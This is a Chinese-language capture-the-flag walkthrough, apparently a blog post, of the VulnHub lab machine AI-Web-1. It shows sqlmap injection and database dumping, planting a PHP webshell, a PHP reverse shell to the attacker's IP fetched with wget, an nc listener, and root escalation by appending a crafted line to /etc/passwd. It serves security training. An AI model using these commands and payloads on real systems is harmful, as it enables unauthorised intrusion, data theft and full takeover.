项目地址
```plain https://www.vulnhub.com/entry/ai-web-1,353/ ``` ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/0f42b5259a86486199b03ccc6e44fe01.webp#pic_center)实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
![](https://img-blog.csdnimg.cn/img_convert/1d48266c5490b65d22e22987e88ac2c2.png)使用nmap进行主机发现,获取靶机IP地址
```plain nmap 192.168.47.1-254 ```根据对比可知DC-8的一个ip地址为192.168.47.135
扫描Ai-Web1.0的操作系统,端口及对应服务
```plain nmap -A -p- 192.168.47.135 ```发现开放80端口
在浏览器访问http://192.168.47.135
![](https://img-blog.csdnimg.cn/img_convert/26d0a0786f0ad3056f423a848cbabe04.png)对网站进行目录和文件扫描
```plain dirb http://192.168.47.135 ```出现robots.txt文件
进入网站进行查询
![](https://img-blog.csdnimg.cn/img_convert/a489a9d9e2ff76cf7f401a6aa07e6657.png)尝试访问发现没有权限
使用dirb进行扫描
```plain dirb http://192.168.47.135/m3diNf0/ dirb http://192.168.47.135/se3reTdir777/ ```结果可知dirb http://192.168.47.135/m3diNf0/有一个info.php页面
尝试访问
dirb http://192.168.47.135/se3reTdir777/有一个index.php页面
尝试访问
发现是查询页面 考虑sql注入
输入'页面报错
![](https://img-blog.csdnimg.cn/img_convert/cf635c2af7069ead2c0fb0b01f916654.png)存在sql注入
使用Burpsuite进行一个抓包,得到注入点
![](https://img-blog.csdnimg.cn/img_convert/3316cfdeb529965837826bc220ca3019.png)使用sqlmap进行扫描
```plain sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -dbs ```sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 --tables
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user --columns
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user -C id --dump
没有什么有用信息了
尝试–os-shell
首先获取绝对路径
进入info.php查找找到了路径 /home/www/html/web1x443290o2sdf92213/
需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合
它的绝对目录为/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
使用--os-shell
```plain sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" --level=3 --os-shell ```成功进入shell
上传一句话木马
在sqlmap文件夹里写一个一句话木马文件在sqlmap开个终端
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" --data "uid=123&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
发现一句话木马文件移进来了
蚁剑连接
打开蚁剑进行连接
```plain http://192.168.47.135/se3reTdir777/uploads/1.php ```可以正常访问
这里蚁剑要拿到他的终端,右击打开终端
![](https://img-blog.csdnimg.cn/img_convert/48badbc12e9f28ef72886bf1ee59dcd0.png)nc反弹
在 kali 写⼀个 php ⽂件
```plain <?php $sock=fsockopen("192.168.47.129",6666); exec("/bin/bash -i <&3 >&3 2>&3"); ?> ```在Kali开启一个端口服务
```plain python -m http.server 7777 ```到 os-shell 命令行,用wget 命令下载
```plain wget http://192.168.47.129:7777/3.php ```开启监听
```plain nc -lvvp 6666 ```在--os-shell 执行木马文件
```plain php 3.php ```监听成功
提权
查看当前用户
![](https://img-blog.csdnimg.cn/img_convert/2ea30e69c83840524641885d19aa5746.png)在 Linux 系统中我们要向手动生成⼀个密码可以采用opensll passwd来生成⼀个密码作为用户账号的密码。
Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同 。
:::info
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
:::
使用openssl 创建⼀个用户
```plain openssl passwd -1 -salt h 123456 ```:::info
openssl passwd 参数 用户名 密码
:::
-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除非密码⼀样,salt值也⼀样,计算出来的hash值才⼀样。salt为8字节的字符串。
将用户写入/etc/passwd文件中
```plain echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd ```使用cat查看是否写入
```plain cat /etc/passwd ```成功写入
切换用户
⽤脚本提升为交互式shell,然后切换用户python -c 'import pty;pty.spawn("/bin/bash")'
su h
寻找flag
```plain cd / ls cd root ls cat flag.txt ```
好小子,离成功又近一步!!!